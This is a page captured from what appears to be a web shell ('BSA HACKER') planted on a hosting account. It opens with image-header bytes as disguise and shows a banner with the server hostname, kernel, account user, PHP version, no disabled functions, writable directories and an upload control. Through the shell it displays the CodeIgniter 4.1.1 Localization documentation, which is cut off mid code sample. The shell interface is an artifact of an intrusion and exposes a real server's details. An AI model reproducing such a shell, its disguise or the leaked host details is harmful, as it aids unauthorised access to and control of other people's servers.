ÿŰÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/public_html/userguide/outgoing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/public_html/userguide/outgoing/localization.html

<!DOCTYPE html>
<html class="writer-html4" lang="en" >
<head>
  <meta charset="utf-8" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  
  <title>Localization &mdash; CodeIgniter 4.1.1 documentation</title>
  

  
  <link rel="stylesheet" href="../_static/css/citheme.css" type="text/css" />
  <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />

  
  
    <link rel="shortcut icon" href="../_static/favicon.ico"/>
  

  
  

  

  
  <!--[if lt IE 9]>
    <script src="../_static/js/html5shiv.min.js"></script>
  <![endif]-->
  
    
      <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
        <script type="text/javascript" src="../_static/jquery.js"></script>
        <script type="text/javascript" src="../_static/underscore.js"></script>
        <script type="text/javascript" src="../_static/doctools.js"></script>
        <script type="text/javascript" src="../_static/language_data.js"></script>
        <script type="text/javascript" src="../_static/js/citheme.js"></script>
        <script type="text/javascript" src="../_static/js/carbon.js"></script>
    
    <script type="text/javascript" src="../_static/js/theme.js"></script>

    
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Alternate PHP Syntax for View Files" href="alternative_php.html" />
    <link rel="prev" title="API Response Trait" href="api_responses.html" /> 
</head>

<body class="wy-body-for-nav">

   
  <div class="wy-grid-for-nav">
    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search"  style="background: #DD4814" >
          

          
            <a href="../index.html">
          

          
            
            <img src="../_static/ci-logo-text.png" class="logo" alt="Logo"/>
          
          </a>

          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="../search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        
        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul>
<li class="toctree-l1"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../intro/index.html">Welcome to CodeIgniter4</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/requirements.html">Server Requirements</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/credits.html">Credits</a></li>
<li class="toctree-l2"><a class="reference internal" href="../intro/psr.html">PSR Compliance</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../installation/index.html">Installation</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_composer.html">Composer Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/installing_manual.html">Manual Installation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/running.html">Running Your App</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/upgrading.html">Upgrading From a Previous Version</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/troubleshooting.html">Troubleshooting</a></li>
<li class="toctree-l2"><a class="reference internal" href="../installation/repositories.html">CodeIgniter Repositories</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../tutorial/index.html">Build Your First Application</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/static_pages.html">Static pages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/news_section.html">News section</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/create_news_items.html">Create news items</a></li>
<li class="toctree-l2"><a class="reference internal" href="../tutorial/conclusion.html">Conclusion</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../concepts/index.html">CodeIgniter4 Overview</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../concepts/structure.html">Application Structure</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/mvc.html">Models, Views, and Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/autoloader.html">Autoloading Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/services.html">Services</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/factories.html">Factories</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/http.html">Working With HTTP Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../concepts/security.html">Security Guidelines</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../general/index.html">General Topics</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../general/configuration.html">Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/urls.html">CodeIgniter URLs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/helpers.html">Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/common_functions.html">Global Functions and Constants</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/logging.html">Logging Information</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/errors.html">Error Handling</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/caching.html">Web Page Caching</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/ajax.html">AJAX Requests</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/modules.html">Code Modules</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/managing_apps.html">Managing your Applications</a></li>
<li class="toctree-l2"><a class="reference internal" href="../general/environments.html">Handling Multiple Environments</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../incoming/index.html">Controllers and Routing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../incoming/controllers.html">Controllers</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/routing.html">URI Routing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/filters.html">Controller Filters</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/message.html">HTTP Messages</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/request.html">Request Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/incomingrequest.html">IncomingRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/content_negotiation.html">Content Negotiation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/methodspoofing.html">HTTP Method Spoofing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../incoming/restful.html">RESTful Resource Handling</a></li>
</ul>
</li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="index.html">Building Responses</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="views.html">Views</a></li>
<li class="toctree-l2"><a class="reference internal" href="view_cells.html">View Cells</a></li>
<li class="toctree-l2"><a class="reference internal" href="view_renderer.html">View Renderer</a></li>
<li class="toctree-l2"><a class="reference internal" href="view_layouts.html">View Layouts</a></li>
<li class="toctree-l2"><a class="reference internal" href="view_parser.html">View Parser</a></li>
<li class="toctree-l2"><a class="reference internal" href="table.html">HTML Table Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="response.html">HTTP Responses</a></li>
<li class="toctree-l2"><a class="reference internal" href="api_responses.html">API Response Trait</a></li>
<li class="toctree-l2 current"><a class="current reference internal" href="#">Localization</a></li>
<li class="toctree-l2"><a class="reference internal" href="alternative_php.html">Alternate PHP Syntax for View Files</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../database/index.html">Working With Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../database/examples.html">Quick Start: Usage Examples</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/configuration.html">Database Configuration</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/connecting.html">Connecting to a Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/queries.html">Running Queries</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/results.html">Generating Query Results</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/helpers.html">Query Helper Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/query_builder.html">Query Builder Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/transactions.html">Transactions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/metadata.html">Getting MetaData</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/call_function.html">Custom Function Calls</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/events.html">Database Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../database/utilities.html">Database Utilities</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../models/index.html">Modeling Data</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../models/model.html">Using CodeIgniter's Model</a></li>
<li class="toctree-l2"><a class="reference internal" href="../models/entities.html">Using Entity Classes</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../dbmgmt/index.html">Managing Databases</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/forge.html">Database Manipulation with Database Forge</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/migration.html">Database Migrations</a></li>
<li class="toctree-l2"><a class="reference internal" href="../dbmgmt/seeds.html">Database Seeding</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../libraries/index.html">Library Reference</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../libraries/caching.html">Caching Driver</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/curlrequest.html">CURLRequest Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/email.html">Email Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/encryption.html">Encryption Service</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/files.html">Working with Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/honeypot.html">Honeypot Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/images.html">Image Manipulation Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/pagination.html">Pagination</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/security.html">Security</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/sessions.html">Session Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/throttler.html">Throttler</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/time.html">Times and Dates</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/typography.html">Typography</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uploaded_files.html">Working with Uploaded Files</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/uri.html">Working with URIs</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/user_agent.html">User Agent Class</a></li>
<li class="toctree-l2"><a class="reference internal" href="../libraries/validation.html">Validation</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../helpers/index.html">Helpers</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../helpers/array_helper.html">Array Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/cookie_helper.html">Cookie Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/date_helper.html">Date Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/filesystem_helper.html">Filesystem Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/form_helper.html">Form Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/html_helper.html">HTML Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/inflector_helper.html">Inflector Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/number_helper.html">Number Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/security_helper.html">Security Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/test_helper.html">Test Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/text_helper.html">Text Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/url_helper.html">URL Helper</a></li>
<li class="toctree-l2"><a class="reference internal" href="../helpers/xml_helper.html">XML Helper</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../testing/index.html">Testing</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../testing/overview.html">Getting Started</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/database.html">Database</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/fabricator.html">Generating Data</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/controllers.html">Controller Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/feature.html">HTTP Testing</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/benchmark.html">Benchmarking</a></li>
<li class="toctree-l2"><a class="reference internal" href="../testing/debugging.html">Debugging Your Application</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../cli/index.html">Command Line Usage</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli.html">Running via the Command Line</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_commands.html">Custom CLI Commands</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_generators.html">CLI Generators</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_library.html">CLI Library</a></li>
<li class="toctree-l2"><a class="reference internal" href="../cli/cli_request.html">CLIRequest Class</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../extending/index.html">Extending CodeIgniter</a><ul>
<li class="toctree-l2"><a class="reference internal" href="../extending/core_classes.html">Creating Core System Classes</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/common.html">Replacing Common Functions</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/events.html">Events</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/basecontroller.html">Extending the Controller</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/authentication.html">Authentication</a></li>
<li class="toctree-l2"><a class="reference internal" href="../extending/contributing.html">Contributing to CodeIgniter</a></li>
</ul>
</li>
</ul>

            
          
        </div>
        
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="../index.html">CodeIgniter</a>
        
      </nav>


      <div class="wy-nav-content">
        
        <div class="rst-content">
        
          

















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="../index.html" class="icon icon-home"></a> &raquo;</li>
        
          <li><a href="index.html">Building Responses</a> &raquo;</li>
        
      <li>Localization</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="localization">
<h1>Localization<a class="headerlink" href="#localization" title="Permalink to this headline">¶</a></h1>
<div class="contents local topic" id="contents">
<ul class="simple">
<li><a class="reference internal" href="#working-with-locales" id="id1">Working With Locales</a><ul>
<li><a class="reference internal" href="#configuring-the-locale" id="id2">Configuring the Locale</a></li>
<li><a class="reference internal" href="#locale-detection" id="id3">Locale Detection</a></li>
<li><a class="reference internal" href="#retrieving-the-current-locale" id="id4">Retrieving the Current Locale</a></li>
</ul>
</li>
<li><a class="reference internal" href="#language-localization" id="id5">Language Localization</a><ul>
<li><a class="reference internal" href="#creating-language-files" id="id6">Creating Language Files</a></li>
<li><a class="reference internal" href="#basic-usage" id="id7">Basic Usage</a></li>
<li><a class="reference internal" href="#language-fallback" id="id8">Language Fallback</a></li>
<li><a class="reference internal" href="#message-translations" id="id9">Message Translations</a></li>
</ul>
</li>
</ul>
</div>
<div class="section" id="working-with-locales">
<h2><a class="toc-backref" href="#id1">Working With Locales</a><a class="headerlink" href="#working-with-locales" title="Permalink to this headline">¶</a></h2>
<p>CodeIgniter provides several tools to help you localize your application for different languages. While full
localization of an application is a complex subject, it’s simple to swap out strings in your application
with different supported languages.</p>
<p>Language strings are stored in the <strong>app/Language</strong> directory, with a sub-directory for each
supported language:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">/</span><span class="nx">app</span>
    <span class="o">/</span><span class="nx">Language</span>
        <span class="o">/</span><span class="nx">en</span>
            <span class="nx">app</span><span class="o">.</span><span class="nx">php</span>
        <span class="o">/</span><span class="nx">fr</span>
            <span class="nx">app</span><span class="o">.</span><span class="nx">php</span>
</pre></div>
</div>
<div class="admonition important">
<p class="first admonition-title">Important</p>
<p class="last">Locale detection only works for web-based requests that use the IncomingRequest class.
Command-line requests will not have these features.</p>
</div>
<div class="section" id="configuring-the-locale">
<h3><a class="toc-backref" href="#id2">Configuring the Locale</a><a class="headerlink" href="#configuring-the-locale" title="Permalink to this headline">¶</a></h3>
<p>Every site will have a default language/locale they operate in. This can be set in <strong>Config/App.php</strong>:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="nv">$defaultLocale</span> <span class="o">=</span> <span class="s1">&#39;en&#39;</span><span class="p">;</span>
</pre></div>
</div>
<p>The value can be any string that your application uses to manage text strings and other formats. It is
recommended that a <a class="reference external" href="http://www.rfc-editor.org/rfc/bcp/bcp47.txt">BCP 47</a> language code is used. This results in
language codes like en-US for American English, or fr-FR, for French/France. A more readable introduction
to this can be found on the <a class="reference external" href="https://www.w3.org/International/articles/language-tags/">W3C’s site</a>.</p>
<p>The system is smart enough to fall back to more generic language codes if an exact match
cannot be found. If the locale code was set to <strong>en-US</strong> and we only have language files set up for <strong>en</strong>
then those will be used since nothing exists for the more specific <strong>en-US</strong>. If, however, a language
directory existed at <strong>app/Language/en-US</strong> then that would be used first.</p>
</div>
<div class="section" id="locale-detection">
<h3><a class="toc-backref" href="#id3">Locale Detection</a><a class="headerlink" href="#locale-detection" title="Permalink to this headline">¶</a></h3>
<p>There are two methods supported to detect the correct locale during the request. The first is a “set and forget”
method that will automatically perform <a class="reference internal" href="../incoming/content_negotiation.html"><span class="doc">content negotiation</span></a> for you to
determine the correct locale to use. The second method allows you to specify a segment in your routes that
will be used to set the locale.</p>
<div class="section" id="content-negotiation">
<h4>Content Negotiation<a class="headerlink" href="#content-negotiation" title="Permalink to this headline">¶</a></h4>
<p>You can set up content negotiation to happen automatically by setting two additional settings in Config/App.
The first value tells the Request class that we do want to negotiate a locale, so simply set it to true:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="nv">$negotiateLocale</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span>
</pre></div>
</div>
<p>Once this is enabled, the system will automatically negotiate the correct language based upon an array
of locales that you have defined in <code class="docutils literal notranslate"><span class="pre">$supportLocales</span></code>. If no match is found between the languages
that you support, and the requested language, the first item in $supportedLocales will be used. In
the following example, the <strong>en</strong> locale would be used if no match is found:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">public</span> <span class="nv">$supportedLocales</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;en&#39;</span><span class="p">,</span> <span class="s1">&#39;es&#39;</span><span class="p">,</span> <span class="s1">&#39;fr-FR&#39;</span><span class="p">];</span>
</pre></div>
</div>
</div>
<div class="section" id="in-routes">
<h4>In Routes<a class="headerlink" href="#in-routes" title="Permalink to this headline">¶</a></h4>
<p>The second method uses a custom placeholder to detect the desired locale and set it on the Request. The
placeholder <code class="docutils literal notranslate"><span class="pre">{locale}</span></code> can be placed as a segment in your route. If present, the contents of the matching
segment will be your locale:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$routes</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">&#39;{locale}/books&#39;</span><span class="p">,</span> <span class="s1">&#39;App\Books::index&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>In this example, if the user tried to visit <code class="docutils literal notranslate"><span class="pre">http://example.com/fr/books</span></code>, then the locale would be
set to <code class="docutils literal notranslate"><span class="pre">fr</span></code>, assuming it was configured as a valid locale.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">If the value doesn’t match a valid locale as defined in the App configuration file, the default
locale will be used in it’s place.</p>
</div>
</div>
</div>
<div class="section" id="retrieving-the-current-locale">
<h3><a class="toc-backref" href="#id4">Retrieving the Current Locale</a><a class="headerlink" href="#retrieving-the-current-locale" title="Permalink to this headline">¶</a></h3>
<p>The current locale can always be retrieved from the IncomingRequest object, through the <code class="docutils literal notranslate"><span class="pre">getLocale()</span></code> method.
If your controller is extending <code class="docutils literal notranslate"><span class="pre">CodeIgniter\Controller</span></code>, this will be available through <code class="docutils literal notranslate"><span class="pre">$this-&gt;request</span></code>:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="o">&lt;?</span><span class="nx">php</span>

<span class="k">namespace</span> <span class="nx">App\Controllers</span><span class="p">;</span>

<span class="k">class</span> <span class="nc">UserController</span> <span class="k">extends</span> <span class="nx">\CodeIgniter\Controller</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$locale</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">request</span><span class="o">-&gt;</span><span class="na">getLocale</span><span class="p">();</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></div>
</div>
<p>Alternatively, you can use the <a class="reference internal" href="../concepts/services.html"><span class="doc">Services class</span></a> to retrieve the current request:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="nv">$locale</span> <span class="o">=</span> <span class="nx">service</span><span class="p">(</span><span class="s1">&#39;request&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">getLocale</span><span class="p">();</span>
</pre></div>
</div>
</div>
</div>
<div class="section" id="language-localization">
<h2><a class="toc-backref" href="#id5">Language Localization</a><a class="headerlink" href="#language-localization" title="Permalink to this headline">¶</a></h2>
<div class="section" id="creating-language-files">
<h3><a class="toc-backref" href="#id6">Creating Language Files</a><a class="headerlink" href="#creating-language-files" title="Permalink to this headline">¶</a></h3>
<p>Languages do not have any specific naming convention that are required. The file should be named logically to
describe the type of content it holds. For example, let’s say you want to create a file containing error messages.
You might name it simply: <strong>Errors.php</strong>.</p>
<p>Within the file, you would return an array, where each element in the array has a language key and can have string to return:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="s1">&#39;language_key&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;The actual message to be shown.&#39;</span>
</pre></div>
</div>
<p>It also support nested definition:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="s1">&#39;language_key&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
    <span class="s1">&#39;nested&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
        <span class="s1">&#39;key&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;The actual message to be shown.&#39;</span>
    <span class="p">],</span>
<span class="p">],</span>
</pre></div>
</div>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">It’s good practice to use a common prefix for all messages in a given file to avoid collisions with
similarly named items in other files. For example, if you are creating error messages you might prefix them
with error_</p>
</div>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">return</span> <span class="p">[</span>
    <span class="s1">&#39;errorEmailMissing&#39;</span>    <span class="o">=&gt;</span> <span class="s1">&#39;You must submit an email address&#39;</span><span class="p">,</span>
    <span class="s1">&#39;errorURLMissing&#39;</span>      <span class="o">=&gt;</span> <span class="s1">&#39;You must submit a URL&#39;</span><span class="p">,</span>
    <span class="s1">&#39;errorUsernameMissing&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;You must submit a username&#39;</span><span class="p">,</span>
    <span class="s1">&#39;nested&#39;</span>               <span class="o">=&gt;</span> <span class="p">[</span>
        <span class="s1">&#39;error&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>
            <span class="s1">&#39;message&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;A specific error message&#39;</span><span class="p">,</span>
        <span class="p">],</span>
    <span class="p">],</span>
<span class="p">];</span>
</pre></div>
</div>
</div>
<div class="section" id="basic-usage">
<h3><a class="toc-backref" href="#id7">Basic Usage</a><a class="headerlink" href="#basic-usage" title="Permalink to this headline">¶</a></h3>
<p>You can use the <code class="docutils literal notranslate"><span class="pre">lang()</span></code> helper function to retrieve text from any of the language files, by passing the
filename and the language key as the first parameter, separated by a period (.). For example, to load the
<code class="docutils literal notranslate"><span class="pre">errorEmailMissing</span></code> string from the <code class="docutils literal notranslate"><span class="pre">Errors</span></code> language file, you would do the following:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Errors.errorEmailMissing&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>For nested definition, you would do the following:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Errors.nested.error.message&#39;</span><span class="p">);</span>
</pre></div>
</div>
<p>If the requested language key doesn’t exist in the file for the current locale, the string will be passed
back, unchanged. In this example, it would return ‘Errors.errorEmailMissing’ or ‘Errors.nested.error.message’ if it didn’t exist.</p>
<div class="section" id="replacing-parameters">
<h4>Replacing Parameters<a class="headerlink" href="#replacing-parameters" title="Permalink to this headline">¶</a></h4>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">The following functions all require the <a class="reference external" href="https://www.php.net/manual/en/book.intl.php">intl</a> extension to
be loaded on your system in order to work. If the extension is not loaded, no replacement will be attempted.
A great overview can be found over at <a class="reference external" href="https://www.sitepoint.com/localization-demystified-understanding-php-intl/">Sitepoint</a>.</p>
</div>
<p>You can pass an array of values to replace placeholders in the language string as the second parameter to the
<code class="docutils literal notranslate"><span class="pre">lang()</span></code> function. This allows for very simple number translations and formatting:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// The language file, Tests.php:</span>
<span class="k">return</span> <span class="p">[</span>
    <span class="s2">&quot;apples&quot;</span>      <span class="o">=&gt;</span> <span class="s2">&quot;I have {0, number} apples.&quot;</span><span class="p">,</span>
    <span class="s2">&quot;men&quot;</span>         <span class="o">=&gt;</span> <span class="s2">&quot;The top {1, number} men out-performed the remaining {0, number}&quot;</span><span class="p">,</span>
    <span class="s2">&quot;namedApples&quot;</span> <span class="o">=&gt;</span> <span class="s2">&quot;I have {number_apples, number, integer} apples.&quot;</span><span class="p">,</span>
<span class="p">];</span>

<span class="c1">// Displays &quot;I have 3 apples.&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.apples&#39;</span><span class="p">,</span> <span class="p">[</span> <span class="mi">3</span> <span class="p">]);</span>
</pre></div>
</div>
<p>The first item in the placeholder corresponds to the index of the item in the array, if it’s numerical:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Displays &quot;The top 23 men out-performed the remaining 20&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s1">&#39;Tests.men&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">20</span><span class="p">,</span> <span class="mi">23</span><span class="p">]);</span>
</pre></div>
</div>
<p>You can also use named keys to make it easier to keep things straight, if you’d like:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// Displays &quot;I have 3 apples.&quot;</span>
<span class="k">echo</span> <span class="nx">lang</span><span class="p">(</span><span class="s2">&quot;Tests.namedApples&quot;</span><span class="p">,</span> <span class="p">[</span><span class="s1">&#39;number_apples&#39;</span> <span class="o">=&gt;</span> <span class="mi">3</span><span class="p">]);</span>
</pre></div>
</div>
<p>Obviously, you can do more than just number replacement. According to the
<a class="reference external" href="https://unicode-org.github.io/icu-docs/apidoc/released/icu4c/classMessageFormat.html#details">official ICU docs</a> for the underlying
library, the following types of data can be replaced:</p>
<ul class="simple">
<li>numbers - integer, currency, percent</li>
<li>dates - short, medium, long, full</li>
<li>time - short, medium, long, full</li>
<li>spellout - spells out numbers (i.e., 34 becomes thirty-four)</li>
<li>ordinal</li>
<li>duration</li>
</ul>
<p>Here are a few examples:</p>
<div class="highlight-html+php notranslate"><div class="highlight"><pre><span></span><span class="c1">// The language file, Tests.php</span>
<span class="k">return</span> <span class="p">[</span>
    <span class="s1">&#39;shortTime&#39;</span>  <span class="o">=&gt;</span> <span class="s1">&#39;The time is now {0, time, short}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;mediumTime&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;The time is now {0, time, medium}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;longTime&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;The time is now {0, time, long}.&#39;</span><span class="p">,</span>
    <span class="s1">&#39;fullTime&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;The time is now {0, time, full}.&#39;</span><span class="p">,</span>
